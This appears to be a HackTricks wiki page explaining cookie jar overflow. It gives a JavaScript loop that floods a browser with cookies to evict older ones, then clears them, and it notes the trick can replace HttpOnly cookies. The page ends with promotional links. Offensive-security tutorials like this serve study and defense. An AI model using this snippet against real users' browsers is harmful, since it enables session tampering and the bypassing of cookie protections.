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The browsers have a limit on the number of cookies that they can store for a page. Then, if for some reason you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}Notice, that third party cookies pointing to a different domain won't be overwritten.
{% hint style="danger" %} This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.
Check this in this post with a lab. {% endhint %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.